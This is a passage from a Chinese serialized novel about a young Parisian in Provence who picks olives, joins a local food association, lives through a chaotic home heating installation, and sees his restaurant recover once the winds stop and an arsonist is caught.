罗南到普罗旺斯后的第一个目标是有朝一日像奥利维尔一样,拥有庞大的餐饮上游资源。 现在他有了第二个明确的目标——未来要住进像帕斯卡家这么大的豪华大庄园。 再和佐伊生一堆孩子,让这里每天都热热闹闹的! 罗南三人的目的是来体验摘橄榄,所以帕斯卡接到他们之后,直接把人带到了他无边无际的橄榄园里。 此刻,里面已经有许多工人在进行采摘工作了。 “你们来的正是时候,今年的橄榄才开始摘,往前走一点就可以开始体验,如果再晚来一阵,这附近的全部采完,你们要走那边——”帕斯卡指向另一个山头,“那我可就没办法陪你们了。” 帕斯卡今天换上了一身标准的普罗旺斯农夫打扮。 可能看朋友来了太开心,也要亲自体验一下当农夫的感受。 “不是10月底就可以采了吗?”罗南的农业知识应该是三人中最渊博的,他马上发现帕斯卡话中不太对劲的地方。 法国南部地区是橄榄树最重要的产地,然其中橄榄树最大、最著名的产区就是普罗旺斯。 自古希腊和古罗马时期以来,这片土地便开始种植橄榄树。 葡萄、橄榄和薰衣草是普罗旺斯种植业‘铁三角’的存在。 和酿酒业一样,普罗旺斯的橄榄种植业也有质量标志,某些地区和橄榄园有 AOC质量标志,这意味着它们属于顶级。 橄榄的采摘月份比葡萄长,可以从9月份一直持续到下一年的2月。 但根据用途不同,会有各自适合的采摘时间。 如果做盐渍食用,那么应该在9-10月份采摘,还没有完全成熟的绿橄榄最适合。 如果要做腌渍黑橄榄,那么应该在12-1月采摘,这个时候橄榄完全成熟,全部是黑的。 但帕斯卡的橄榄用途是制作成橄榄油,那么最佳采摘月份应该是从10月底到12月才对,此时果实成熟,颜色和味道达到完美平衡。 帕斯卡说最近才开始采橄榄,就像是罗南听到农夫们说,卢尔马兰的葡萄应该等到10月底再摘一样吃惊。 这对劲吗? 帕斯卡叹气道: “今年的橄榄成熟的特别晚,这会影响果实的油脂积累速度” 托马斯和歌迪亚不懂这些专业术语,但罗南明白。 帕斯卡的意思是——今年能产出来的橄榄油量要降低了。 罗南刚想安慰帕斯卡两句,这个乐天派的家伙先一步整顿好了情绪,笑着对大家说: “但我们不能一味索求大自然给我们的全部是好的礼物,就像这场西北风一样,1956年灾难性的冬天普罗旺斯的橄榄树都熬过来了.明年一定又是个丰收年!” 托马斯和歌迪亚已经跃跃欲试的要去摘橄榄了,而且对这个话题没有共鸣,敷衍了帕斯卡两句,欢快的冲向橄榄林,但同样靠天吃饭的罗南走在后面问帕斯卡: “1956年怎么了?” 帕斯卡摸着背带裤上的带子,唏嘘不已的给罗南讲: “1956年的2月,法国南部经历了一场极具破坏性的大霜冻,普罗旺斯70%的葡萄园和80%的橄榄园受损,好几种传统品种根系被冻死,基因库受损严重,幸存农户改种抗寒作物,橄榄油业直至70年代才逐步恢复。” 他不停的摇头: “那简直是一场灾难,不过现在我们进行了品种改良,还使用了滴灌系统,橄榄树的耐寒性大大提升了。” 罗南像是安慰又像是祈祷的说: “希望不会再发生那么大的灾难。” 帕斯卡递给罗南一个半月形的桶,并让他把它挂在脖子上。 帕斯卡得意的解释: “这是我发明出的最‘省时省力’采摘方法,你试试就知道它有多好用了!” 托马斯和歌迪亚是普罗旺斯人,这不是他们第一次摘橄榄,而他们也有各自最‘省时省力’的采摘方法所以乖乖听话的只有罗南一个人。 罗南像是一个即将临盆的孕妇一样,挺着他肚子上的大桶,倾听帕斯卡接下来的讲解。 “从树枝上摘下橄榄比摘葡萄容易多了,我形容它就像挤牛奶一样,牛奶你挤过吧?没挤过也没关系”帕斯卡亲身示范,“轻轻的用手指顺着树枝往下一拉,心里默念——千万别扯疼了它。” “砰砰砰砰砰——”一连串橄榄落噼里啪啦的落入桶中。 帕斯卡满意的摊开双手: “看,很容易吧?尤其在我发明的最‘省时省力’采摘法加持下,甚至连腰都不需要弯一下。” 其实还有更为‘省时省力’的采摘法。 罗南三人是来体验的,所以使用的是古老的手动采摘方法。 而帕斯卡的其他员工们只需用耙子,把树枝上的橄榄剥下,让它们落到铺在地面上的网子上,然后轻轻地把网子抬起来,把橄榄扔进容器里即可。 经历过在烈日下摘葡萄的罗南,觉得可以把摘橄榄形容成一项‘休闲活动’了。 又不用费太多体力,天气还不热如果没有该死的大风,罗南甚至可以一手端着酒杯,一手优雅的摘橄榄。 那一定酷极了! 这个季节的橄榄颜色不一,从深到浅都有,看起来也挺赏心悦目的。 不过罗南很快发现这项‘休闲活动’也有恼人的地方——随着桶里的橄榄增多,他的脖子快坚持不住了。 这确实‘省时省力’,但它费脖子啊 罗南侧头看向身后的帕斯卡。 想要弄清他是如何解决脖子酸痛问题的。 但帕斯卡并没有遇到这个问题,他脖子上的桶架到了他大得出奇的肚子上,那应该会分担掉脖子上不小的重量。 恰巧这个时候托马斯和歌迪亚也‘玩累’了,嚷嚷着要回去洗手,适时解救了罗南的脖子。 经他们提醒,罗南才发现自己的手指有一种奇怪的触感,手掌似乎变得像女人的手一样细腻和柔滑。 帕斯卡笑着说: “那是果实里渗出的油脂,用它们榨出来的油洗澡全身都会这么细腻走吧,去洗手,然后我带你们去橄榄油磨坊看看。” 考古发现表明,橄榄油生产至少可以追溯到公元前500年,在中世纪,橄榄油与货币一样珍贵,用于贸易,被视为财富和健康的象征。 因1956年的那场霜冻影响,普罗旺斯的橄榄产业遭到重创,近些年才重新起步,侥幸延续下来这个自罗马时代以来一直存在的产业。 但在巴黎,橄榄油算是一种‘奢侈品’。 法国本土橄榄油产量低,只占巴黎市场的5%左右,那些西班牙、意大利和希腊的进口橄榄油动辄150法郎一瓶,特级初榨的可以卖到三四百法郎罗南家只会在拌沙拉的时候才舍得用上那么几滴。 但到了普罗旺斯后,橄榄油成了‘消耗品’。 炒菜、烧烤、做沙拉、蘸面包甚至罗南一家还会学着普罗旺斯人的样子,在聚会之前喝上那么一小杯,保护胃壁。 在普罗旺斯的超市里,西班牙、意大利和希腊的进口橄榄油依然卖的很贵,但普罗旺斯人从不买那些。 大家平时用的全部是当地磨坊里生产的‘无名’橄榄油。 即使帕斯卡那号称在戈尔德数一数二的橄榄油磨坊,生产出来的橄榄油也没有牌子。 在这个四处飘香的小型磨坊里,帕斯卡给了罗南三人每人一个没有任何标签的大号塑料桶,那就是他们即将盛放由自己采摘下的橄榄初榨出来橄榄油的容器了。 “采摘下来的橄榄必须尽快送至油坊,防止发酵导致酸度升高。”帕斯卡专业的解释,“不过你们可能需要等一小段时间才能拿到自己的‘成果’。” 歌迪亚是个闲不下的人,拿着大桶等待会让她觉得自己非常蠢,她看着罗南和托马斯问: “我们出去转转吧,一会再回来拿?” 帕斯卡的磨坊在戈尔德村里,这里有太多吸引歌迪亚的东西,而且路上帕斯卡说他待会要处理一些工作上的事情。 “可以。”托马斯点头。 罗南放下桶,跟着歌迪亚他们一起离开,但被身后的帕斯卡叫住: “罗南,你还是留在这里等一下吧。” 罗南回头,不解的看过去。 帕斯卡看了一眼手表: “略伦特要过来买一批油,应该马上到了。” 第249章 好努力一男的! 帕斯卡下午要处理的工作上的事就是见略伦特。 在等待的这段时间里,他较为详尽的给罗南介绍了略伦特的背景和现在所从事的工作。 普罗旺斯美食协会会员、沃克吕兹省美食联盟主席等不过是略伦特挂的一些虚职。 他的正式身份是普罗旺斯著名畜牧业家族——阿尔诺家族的顾问。 据帕斯卡介绍,阿尔诺家族拥有普罗旺斯最大的绵羊养殖基地,还垄断了部分奶酪供应链,在1986年占据当地奶酪出口份额的 25%。 并且这个百年家族还在继续通过收购小型奶酪合作社整合资源,出口份额比重逐年上涨。 而略伦特的工作,就是帮助阿尔诺家族整合沃克吕兹省的资源,不断吞并当地的手工作坊。 “这个工作很适合略伦特先生。”罗南评价道。 阿尔诺家族和奶酪行业罗南不熟悉,但他知道略伦特拥有相当不错的口才这也算是物尽其用了。 帕斯卡拍着自己圆滚滚的肚子笑着说: “但你可能不知道,我认识略伦特的时候,他还是个牧羊人呢,听他演讲的只有吕贝隆的羊群。” 罗南感慨万千的说: “这说明略伦特先生这些年一定非常努力。” 帕斯卡的脸憋得通红,最终还是忍不住爆发出震耳欲聋的笑声: “没错,努力讨好女人,他妻子是阿尔诺家族二代继承人皮埃尔·阿尔诺的小女儿,比略伦特大了整整21岁,继子比他还要大。” 罗南努力控制住自己的面部表情: “这也算是努力的一种吧” 是个狠人! 罗南对这种家族八卦不感兴趣,转而问道: “上一次见略伦特先生时,他和沃克吕兹省旅游局的人在一起,他和政府的关系很好吗?” 那天略伦特为了游说伊内斯同意合作,搬出了许多理由,罗南能听出他不止一次帮助政府谈合作了。 他哪里来的这些资源呢? 帕斯卡双手抱胸,认真给罗南分析: “阿尔诺家族和政府的关系非常密切,他们是农业部的重点合作企业,前几年因低价收购小农场引起了当地农民集体抗议,也是政府帮助他们压下去的,略伦特最近在帮阿尔诺家族搞‘牧羊人之旅’的旅游项目,和旅游局也经常打交道千万不要小看这种发展了一百多年的家族,他们在当地有你想象不到的势力网。” 罗南默默点头,同时心惊不已。 发展一百多年的家族都这么厉害了那发展了近千年的贵族家族一定更加厉害。 佐伊给罗南科普萨德侯爵时讲过,这个家族远在十字军东征时就在普罗旺斯赫赫有名了。 阿斯特丽德的后台得硬成什么样啊? 同时罗南更加重视这个即将要到来的略伦特先生。 一个养羊的都搞起了旅游说明他也盯上了旅游局口袋里的钱。 这绝对是一个聪明的商人。 不仅要想办法加入他创立的‘沃克吕兹省美食联盟’,同时还要想办法和他结识上。 只是时隔近一年没见,略伦特先生还能认识他吗? 略伦特比约定时间提早了几分钟到。 这个喜欢穿礼服、戴礼帽的家伙一出现就打消了罗南的顾虑。 略伦特先生虽然叫不上罗南的名字,但他能对得上号: “我当然记得你,在普罗旺斯还能有几个黄皮肤的家伙啊?对了,伊内斯和雅克最近还好吗?” 罗南主动和略伦特先生进行贴面礼: “都很好,下次聚会的时候,我会代您向他们问好的。” 略伦特略微侧了下脑袋,很是幽默的说: “替我向雅克问好就行了,伊内斯应该不想听到我的名字,还是别影响‘女强人’的喝酒心情了。” 和罗南寒暄完,他转头看帕斯卡: “快带我去看看今年的第一批橄榄油,我们全家都迫不及待了,那个——” 罗南懂事的主动报上姓名: “罗南!” 略伦特热情的对罗南招手: “罗南也一起来,帕斯卡这里的橄榄油是吕贝隆最棒的,里面有一种特殊的香气,我们全家每年只用它。” 罗南快步跟了上去: “那我可要多买一点了,我的餐厅每个月要消耗一百多升呢。” 略伦特一顿,回头问: “你开餐厅了?” 略伦特记得罗南只是个集市上卖粉红酒的摊主。 帕斯卡拍着罗南的肩膀给略伦特介绍: “还记得我上个月和你提起,在卢尔马兰把我的咖啡厅救活的中餐厅吗?那个餐厅就是罗南开的。” 略伦特突然爽朗的大笑起来: “我说雅克那个冷漠家伙怎么会为了你一点不给我留面子,原来你本事很大啊,走走走,一边走一边聊,给我讲讲你的餐厅吧。” 和略伦特这种靠人际关系赚钱的家伙聊天是一件很幸福的事情,无论罗南说什么,他都会马上给到积极的回应,并且做出让人非常舒服的点评。 罗南讲开业宣传,略伦特夸赞罗南是他见过最有魄力的年轻人。 罗南说他做了万圣节活动,略伦特点评吕贝隆就缺这种思想进步的年轻‘企业家’。 罗南又说这场西北风对餐厅影响巨大,略伦特安慰说如果可以的话,他一定会想办法给他和帕斯卡的咖啡厅带去一些客流量。 别管他最后做不做,反正把人哄得挺开心的。 罗南冷静下来一想,被他多次拿出来在关键时刻使用的‘普罗旺斯大地的血管里脉动着粉红的血液,潺潺流淌着粉红色的回忆’就是从略伦特这里抄的。 所以略伦特的话听听就行了,千万不能走心。 认真就输了。 同样的,想要和这种人做朋友也非常之难罗南觉得和略伦特的交情短时间内不会有什么进展。 他计划的是,在今天临别之前巧妙的主动提及一下想要加入‘沃克吕兹省美食联盟’的意愿,有帕斯卡在,略伦特大概率不会拒绝他。 想明白这些后,罗南把注意力从略伦特身上转移开,再次放到了黄绿色的橄榄油上。 经过了两个小时的加工,罗南三人带来的那一批橄榄已‘初榨’完毕。 市场上注有‘特级初榨’的橄榄油和‘初榨’橄榄油的加工方式是相同的,将新鲜橄榄清洗过后进行低温物理冷榨。 区别在于,‘特级初榨’橄榄油的果实需经过严格筛选,除了外皮完整外,过熟和过生的果实都要挑选在外。 而‘初榨’橄榄油允许果实轻微的缺陷,因为有过熟的果实存在,所以酸度会略高一点点。 普通橄榄油和橄榄果渣油里则会加入化学溶剂,加工方式也脱离了物理冷榨法,采用精炼萃取。 普罗旺斯超市里卖的品牌橄榄油会区分的更细一些,除了会标明早熟和晚熟外,在口味上也有绿色果味、成熟果味、黑色果味等,区别全部在于压榨使用的橄榄上。 罗南用勺子沾了一点点放到嘴里品尝: “果然有一种特殊的香气,用它拌沙拉一定非常棒。” 帕斯卡得意的拍了一下桌子: “那是当然,略伦特这个家伙这么挑剔但只认我家的橄榄油。” 正在清点货品的略伦特习惯性的跟着附和: “没错,这里的橄榄油是最棒的。” 他这次来要买许多油,用卡车才能拉走那种。 罗南震惊于略伦特口中的‘一家人’到底是多少。 也许他需要讨好的并不只是妻子一个人而是那背后的一整个家族。 真是努力啊! 罗南看向帕斯卡: “之后我要从你这里订油了,可以送货吧?” 这不是讨好,也不是奉承,帕斯卡这里的油确实很棒。 “当然!”帕斯卡开心的笑起来,他的客户名单上又要多一行了,“这周我去找你拿松露的时候,把油给你带上。” 帕斯卡没有把松露买家直接介绍给罗南,他每周会让人去罗南那里取两次货。 清点货品的略伦特突然回头看罗南: “你还在卖松露?” 帕斯卡指着罗南说: “你不知道吗?这个小子一个月可以挖50多斤松露,是卢尔马兰数一数二的松露猎人,我新交的这个‘小朋友’不赖吧?” 略伦特收敛起公式化的笑容,严肃又带着点期待的问: “罗南,你愿意加入‘沃克吕兹省省美食联盟’吗?这是一个可以让本地美食商互相交流信息和心得的协会。” 罗南长出一口大气: “当然愿意。” 阶段性小目标终于完成了! 罗南和略伦特互换了联系方式。 略伦特告诉罗南,过几天会有协会工作人员联系他的。 又过了一会,在戈尔德玩了一圈的歌迪亚和托马斯返回磨坊。 三人拒绝了帕斯卡留他们吃完饭的提议,卢尔马兰和戈尔德有一段距离,还要走山路,吃过晚饭天就完全黑了,为了安全他们想在天黑之前赶回去。 不过下次他们一定会提早一点来,好好尝尝帕斯卡妻子做的甜品。 去取车的路上,罗南终于能好好看一看戈尔德的风景了。 戈尔德还有另外一个名字,叫石头城。 村子里的街道、房子、围栏和一切建筑全部由石头建成,罗南探头看向‘山崖’下,发现整个戈尔德像是一个用石头搭起的‘大堡垒’。 这个季节村里的梧桐树叶已经掉光了,树枝在秋风中瑟瑟发抖,街道上空无一人,但与之相反的是,在道路一侧的商铺里,总是能看到三五成群的人。 他们看起来不像是游客,也不像是店主。 “那些也是聚在一起的艺术家们。”歌迪亚见罗南一路打量两侧的商铺,主动给他介绍。 罗南吃惊的说: “似乎比圣雷米的艺术家还要多。” 歌迪亚笑着说: “戈尔德1900多常驻居民里有近300人是从事和艺术相关工作的,这比例比圣雷米可高多了,今天没有时间带你去村中心,那里新开了许多精品小店,啧啧啧,在这个季节开业.可想而知这些人有多自信了。” 除了浓厚的艺术气息外,罗南发现戈尔德的商业化程度也非常高,他们现在走路的是村子的最外延,但一路上看到了许多商铺。 不止是画廊、艺术品商店、咖啡厅和餐厅这些常见的,还有果酱店、葡萄酒店、陶器店等等戈尔德的每一条道路似乎都像是‘商业街’似的。 众人回到车上,开车返回卢尔马兰。 不知是不是由于太阳下山,夕阳的颜色会让人忍不住伤感。 歌迪亚依依不舍的回头看夜幕下的戈尔德: “希望有一天,卢尔马兰的艺术气息能像戈尔德这样浓厚,这样我就不会每次来都不舍得离开了。” 罗南也回头看过去,呢喃道: “一定会的。” 他发现了一个规律——普罗旺斯许多村子和城镇的繁荣程度和艺术息息相关。 戈尔德、圣雷米、梅纳村 这些艺术家扎堆的地方全部是旅游业发达的有钱城镇。 卢尔马兰想要振兴绝对离不开艺术家,也离不开艺术气息。 而艺术家又和粉红酒扯不开关系。 也许在某种冥冥之中的安排下,卢尔马兰真的走上了一条最好、最快的振兴道路! 第250章 否极泰来 罗南家的暖气安装工程已进行有几天了。 某一天早上,开工后第一次露面的西蒙先生突然到访罗南家,并兴奋的通知他们——今天要举行一场盛大的‘开工仪式’。 “但已经开工很久了啊,现在办‘开工仪式’?”罗南不理解的问西蒙。 11月只是风大了些,温度并没有很低。 但西蒙的打扮像是准备去北极一样——厚厚的毛线帽和羽绒服全部套到身上,让他看起来像是个80岁的老爷爷。 这让罗南好奇到了最冷的1、2月份他要穿什么呢? 后来罗南想起来了。 西蒙1、2月份不出门。 年初罗南都要冻死了,这位老先生都不肯离开他温暖的家,让罗南忍到三月份再聊暖气的事。 西蒙用浓重的普罗旺斯方言说: “之前只是做准备,从今天开始才是正式的安装,在普罗旺斯必须要进行‘开工仪式’,这是规矩!” “入乡随俗,那就办吧。”冯珍不停用眼睛指西蒙,似乎是在提醒罗南——不要和一个畏惧寒冷的老人起争端。 罗南心想,那是你没见过他在他妻子没有调的手风琴表演下翩翩起舞的样子.这老头身体比你可硬朗多了。 突然,罗南想到什么心中一紧: “‘开工仪式’里有什么?” 上帝,你不会是要把你妻子请来吧? 她最近又学什么乐器了吗? 半个小时后。 罗南宁愿西蒙把他妻子请来表演一段。 至少那是优雅和他能看懂的。 ‘开工仪式’的举办地是罗南家门前空地上的一个油渍斑斑的工作台。 工作台上供暖系统所需的零件堆积如山,包括但不限于一盒盒黄铜接头和活塞、焊枪、钢锯、钻头和一罐罐罗南不知道是什么的黑色粘液。 分会场在工作台旁边的地上,这里摆放着一组组暖气片、水箱燃料桶、大锅炉和火炉等。 西蒙一边像演讲一样介绍那些躺在地上或工作台上的零件名称和用途,一边不忘啧啧称奇的评价: “看看这质量,简直太棒了!” 冯珍第一次和西蒙打交道,客气的问: “您把这些东西全部放到一起是想说什么吗?” 西蒙像男高音歌唱家一样中气十足的说: “这些是这次施工的所有零件,在下个月底之前,它们将全部组装到你的家里,届时你们的家会像春天一样温暖。” 激情澎湃的演讲换来的只有巴黎三口人冰冷的: “然后呢?” 西蒙被巴黎一家人的反应气到了,他小跳了一下: “总之!‘开工仪式’后我们要进入真正的安装阶段!” 罗南无语到极致的转头就走: “我去采松露了。” 这小老头故弄玄虚个什么鬼啊?! 虽然暖气安装进行有一阵子了。 但罗南总是会忘记家里在施工,除了墙上多了一些孔洞,地上偶尔会出现一些工程土外,生活没有受到多大的影响。 不过他平静的生活在‘开工仪式’后彻底消失不见。 今天采完松露回家,一推开门他就看到一地的零件,铜管、灰尘、瓦砾和扭曲变形的断管残线.像是变形金刚在这里战斗过一样惨烈。 不过施工嘛.乱一点很正常,罗南装修了这么多次也习惯了。 他打开卫生间,想要洗一个舒服的热水澡,之后去找佐伊,可关上门一扭头居然看到了个手持焊枪的大汉,两个人都吓着了,同时大喊一声。 墙上的孔洞里马上出现一只布满血丝的眼睛,不停左右乱转。 罗南吓得推门而出,又迎面撞上了装活塞的工人。 那人看了看卫生间,又看了看罗南,用尖锐的公鸭嗓笑着问他们两个大男人关门在厕所里干什么。 罗南来到卧室,躺在床上平复心情。 万圣节那天都没这么恐怖过! 躺了一小会,他用手撑床打算去其他的卫生间洗澡,但手掌却处出来钻心的疼痛,一看上面破了两个小血洞。 撩开被子,里面居然藏了二三十个大小不一的螺丝钉,大部分都是头朝上的。 罗南推开门咆哮: “小黑,马赛!是谁往我被子里藏的东西?!” 事业事业不顺心,现在家里都待不下了! 整个十一月真的太倒霉了!! 如果必须给到普罗旺斯后的每个月份打分。 罗南一定会给11月打0分。 这个月对他来说太艰难了。 在之前的10个月,罗南看到的未来全部是五颜六色、充满希望的,但一整个11月罗南看到的未来全部是昏暗的。 虽然还没到月底,但已经能预见到这个月餐厅的营业额,和10月比是腰斩过后再腰斩而且看不到任何人流量复苏的迹象。 市面上松露的价格又进行了一次调整,每公斤又便宜了20块钱,由于罗南合作的都是朋友,或者朋友的朋友,大家没跟罗南计较这点小钱。 但如果松露的价格一降再降,他们肯定要和罗南重新谈收购价格了。 细想下来,罗南在11月最大的感触是——一定要敬畏自然。 这个月所有的坏消息都是由天气引发的。 多雨的年份、持续不断的西北风. 这是生活在巴黎永远都无法明白的东西,要亲身体会一次才能知道这其中的苦楚和心酸。 11月下旬,罗南像每一个普罗旺斯本地人一样,清醒过来的第一件事就是祈祷今天是个好天气。 只有好天气,居住在普罗旺斯这片土地上的人才能赚到钱。 罗南的心理承受能力已经算是好的了,大不了用卖松露的钱养餐厅呗,肯定饿不死。 但把全部精力扑到餐厅上的罗天海冯珍心情越来越糟,各种负面情绪几乎将他们填满。 罗南每天都要安慰父母无数次——‘否极泰来’。 大自然不会一直给我们好的礼物,也不会一直给我们坏的礼物,一切都会过去的。 罗天海和冯珍在罗南的安慰下等啊等啊等,一直等到了11月的最后一周。 否极泰来的转折点终于到来了。 那是一个周一的清晨。 冯珍像往常一样包裹的严严实实的去拿邮差特雷西送来的天气预报和《普罗旺斯日报》。 通常情况下,冯珍会迫不及待的看天气,而罗天海会在同时拿起《普罗旺斯日报》观看。 不过这一次,被天气预报捉弄太多次的冯珍率先打开了报纸。 几乎是打开的瞬间,她便惊呼出口,把两只熟睡中的狗都叫醒了。 “纵火犯抓到了!!” 罗南几乎是从二楼上飞下来的,罗天海也把厨房里的火全部关了,冲向站在门口看报纸的冯珍。 《普罗旺斯日报》在头版头条刊登出了警方的通报。 原来那名心理扭曲的纵火犯在过去的一段时间里又放了两场火,不过由于普罗旺斯林业局和消防队提高了防范等级,在火势没有扩散之前就被扑灭了。 警方在这两次行动中逐渐锁定了犯罪嫌疑人的目标。 上周六,那人在乌尔村附近的森林放火时被逮了个正着。 报纸上还贴上了给这名纵火犯戴上手铐的照片,他看起来可能只有维埃里那么大。 冯珍连早饭都顾不上吃,就要去餐厅开门: “纵火犯抓到了,人流量可能会恢复一些,我去做准备。” 影响餐厅客流量的因素有两个,一个是糟糕的天气,另一个是这位随时都有可能给普罗旺斯点上一把火的纵火犯。 现在解决了一个,客人应该会稍微多一些了吧? 罗天海的心也飞去了餐厅,他嘱咐罗南: “昨天备的菜不够多,如果客人多了恐怕不够用,我去盘一盘给供应商下订单,我和你妈妈去餐厅吃早饭,你自己在家里吃吧。” 终于看到了转机,罗南也开心的不得了,让他们放心的去吧。 但刚出了家门的冯珍再次大声尖叫了起来。 罗南赶紧跑出去问: “怎么了?” 冯珍张开双臂,手掌向前,一边转圈一边惊恐的喊: “风!风停了是不是??” “天气预报怎么说?”罗南问母亲。 风有可能只是停了这么一小会,但之后几天的情况呢? “哎呀,还没来及看呢!”冯珍跑回家里,打开‘卡朋克气象站’印刷的私人天气预报,叫得更大声了,“未来一周都没有风了!都没有了!!” 她用力抱住罗南: “否极泰来,否极泰来了!” 卢尔马兰的报纸订阅率不超过60%。 但今天,全部卢尔马的居民都知道了报纸刊登的内容,也同样发现了困扰了他们将近一整个月的西北风终于停下了。 天气不好的时候,普罗旺斯人茶不思饭不想。 但天气晴朗之后,这些憋坏了的人全部走出家门,去拥抱阔别了许久的好天气。 他们选择去的地方也很统一——城堡和教堂早就看腻了,去新修建的商业街上看看吧。 但商业街就那么长,几分钟就逛完了。 博物馆没开、石器不想买、艺术品不懂那就去罗南的餐厅喝两杯或者吃顿饭? 幸亏罗天海和冯珍提前来做了准备。 否则都应付不下突然涌入的这么多村民。 今天出来喝酒吃饭的本村村民多到连关闭了许久的室外区域都重新打开了。 没有风,白天最高气温在16、17度的样子,晒着太阳看看吕贝隆山谷非常舒服。 餐厅里的客人多了,后厨也热闹了起来。 卡福订的那150个花环不到一周就做完了,员工们都闲好几天了。 听到熟悉的切菜声、炒菜声和服务员的问单声,罗天海从来没有那么心安过。 “普罗旺斯是不是旺罗南这小子?真的被他说中.否极泰来了。”罗天海终于可以笑出来了,同时颠勺的力气更足了。 罗南一直担心餐厅的情况。 今天采完松露直接去了餐厅。 看到一屋子的客人,他的心终于放下来了.果然好天气才能赚到钱! 他小声问母亲: “今天卖的怎么样?” 冯珍扒在罗南的耳边说: “今天来的全是本村村民,这帮人都被憋疯了!到现在卖了1万1,估计到打烊能有一万三四。” 罗南兴奋的拍了一下桌子。 纯本村村民来就能卖1万多吗? 如果他们能保持住这个趋势就好了。 但卢尔马兰的居民没有这个经济条件啊. 前一阵子生意不好,罗南都没有心情喝酒。 农夫们知道餐厅的经营情况不好,罗南没心情,也没怎么叫他。 但今天餐厅再次人满为患,他们可不会放过罗南了。 “快点喝啊,你都歇多久了?”特奥大声嚷嚷。 法比安拿起粉红酒,作势要给罗南倒满: “你再不喝可要罚酒了!” 罗南知道这些农夫在故意灌他,才不会乖乖听话。 他挡着自己的酒杯问: “我都喝了快一瓶了,你们才喝两杯,我可以喝啊没问题,但你们陪我一起。” 特奥坏笑着说: “你今天赚钱了,应该多喝,等哪天我们赚钱了,我们也多喝啊。” 法比安努力抢罗南的酒杯: “没错,就是这个道理,你看收获的那几天,我们喝了多少?每天从早喝到晚,但今天是你赚钱了!” 突然,伊莎贝尔领了一个穿着工作服的人过来找罗南。 罗南一看,这人是他家按暖气的工人,紧张的问: “怎么了?” 那人有些不情不愿的说: “刚刚来了个人去你家找你,我说你不在家,让他明天再来,那个**养的对我披头盖脸就是一顿骂,老子刚想回骂回去,他拿出来个工作证怼我脸上又是一顿骂,你从哪儿认识的那个混蛋?” 罗南脑袋里蹦出布鲁诺骂人的样子,笑着问: “他说什么了?” 那工人用力砸了一下桌子: “那人让你现在回去见他。” 特奥也拍了一下桌子,问罗南: “这人谁啊?不会自己过来?有病是不是?” 罗南马上站起来,就要准备离开。 法比安拦在罗南身前,气势汹汹的说: “别惯着他,这里是卢尔马兰,我看谁有本事让你过去找他!” 罗南笑着给农夫们解释: “那人是国家森林局的官员。” “啊???”农夫们把一肚子的脏话全部咽了下去。 罗南伸出食指把每一个农夫都点了一遍: “你们几个准备好酒,等我回来全部给我喝。” (本章完) 第251章 我爱11月! 罗南见到布鲁诺时,他正一脸沮丧的坐在罗南家门口的两阶台阶上,完全没有工人描述中那种‘盛气凌人’的样子。 “你怎么不进屋等?”罗南远远的问。 布鲁诺语气不算多好的说: “我身上脏,而且和你说两句就走了。” 罗南推开门,热情的把布鲁诺请进屋: “我家现在也没有多干净,进来说吧,外面凉。” 布鲁诺一进屋就被罗南家散落一地的零件吓到了: “这是在干什么?” 罗南先是安抚两只狗不要叫,之后把沙发整理出来招待客人: “在装燃油供暖系统,普罗旺斯的冬天太冷了。” 布鲁诺的工作会让他接触许多居住在森林附近的居民。 在其他地方,那些居民会采用壁炉取暖,条件好的会辅助一些电力取暖设备。 但罗南家的取暖方式已经和城市居民接轨了。 虽然罗南家因施工看起来乱糟糟的,但这些散落的零件不耽误布鲁诺看出居住在这间房子里的人是个有品位的人。 那个开阔的敞开式厨房和用餐区看起来可太棒了! 这让布鲁诺的态度更加坚定。 这个黄皮肤的小伙子看起来在卢尔马兰有着不俗的地位.也许真的可以请他帮忙? “你还可以帮我找到有常识、并干活利索的工人吗?”布鲁诺期待的问。 距离他们上一次碰面过去一周多时间,他不清楚罗南还愿不愿意帮忙。 “纵火犯已经抓到了,你知道吧?”罗南反问。 布鲁诺点头: “知道,我们昨天就知道了。” 罗南指着密林方向问: “但‘灌木丛扫荡行动’还要继续?” 布鲁诺沮丧的把头盔拿下来,拍着他光秃秃的脑袋说: “是的,不止今年要继续,以后每年秋冬都会进行一次‘灌木丛扫荡行动’行动.以防森林大火。” 他用悲伤到不能再悲伤的语气说: “吕贝隆有2500-3000公顷的矮木丛,我和一些同事各自负责约100公顷的面积,但这半个月我只完成了25公顷按照这个速度,圣诞节真的回不去巴黎了!” 罗南用开玩笑的语气说: “不知道国家森林局在普罗旺斯有没有分局,不如你申请调过来?” “我要回巴黎!”布鲁诺痛心疾首的咆哮。 “好了好了,我只是开个玩笑。”罗南意识过来对面坐的是一位开不起玩笑的巴黎佬,开始聊正事,“这速度确实有些慢,你需要什么样的人?有什么要求?” 罗南非常想把农夫们介绍过去。 有趣的活动、外村村民和游客可以提升餐厅的上限。 而艺术家和本村村民是餐厅的下限。 下限越高,餐厅越安全。 如果每天都能有1万的营业额,那么餐厅一个月的利润能来到2万多法郎,罗南还怕什么大风和纵火犯啊。 别管怎么吹、怎么烧都能赚钱! 但这个情况的前提是,卢尔马兰的居民必须富裕起来。 布鲁诺掰着手指头说: “首先,必须了解简单的植物常识,能分辨出哪些该清理,哪些不该清理;其次,身体强壮一些,不要总是抱怨切割机太重、需要休息、这里条件太差了等等,我发给他们工资不是为了听抱怨;还有一点,最好会开拖拉机,这样我可以申请几个牵引切割机,把速度提起来。” 罗南点点头。 这些条件农夫们都满足,身体强健和开拖拉机就不用说了,连特奥那个懒惰的家伙都能说出每一种杂草和植物的名字和用途。 “你需要多少个人?” “40-50个。” “大概要工作多久?” “每天8小时,绝不加班。” 罗南差点笑出声来,果然是从巴黎来的,绝不加班一分钟: “我的意思是,需要用这批人多久?” 如果时间太长,农夫就没办法去了,他们还有正事要干。 提到这个问题布鲁诺更生气了: “这只能看那些人的表现了!但三年前我去勃艮第支援,50个人和10台机器一个月清理完了150公顷灌丛,这真的没有那么难!” 这个答案也令罗南满意。 多好的兼职啊? 一点都不耽误农夫们种田。 最后,他问出了一个非常重要的问题: “待遇如何?” 布鲁诺拍着自己胸前的部门标志,用‘你瞧不起谁呢’的语气说: “虽然是临时工,但劳务合同和森林局签,待遇不是一星半点的好!我们是政府最好的几个部门之一!” 罗南兴奋的拍了一下手: “他们明天能上班吗?” 布鲁诺的嘴久久没有闭上: “你可以一晚上找齐40-50个人?” 罗南挑眉,回了他一个‘你瞧不起谁呢’的表情: “一晚上都不用,一个小时足够了。” 罗南像教科书一样给布鲁诺演绎了一次什么叫‘一呼百应’。 布鲁诺跟着罗南返回餐厅,他都没看清罗南在和谁说话,只见他对着一桌人随便一指: “把农夫们都叫来,我有重要的事说。” 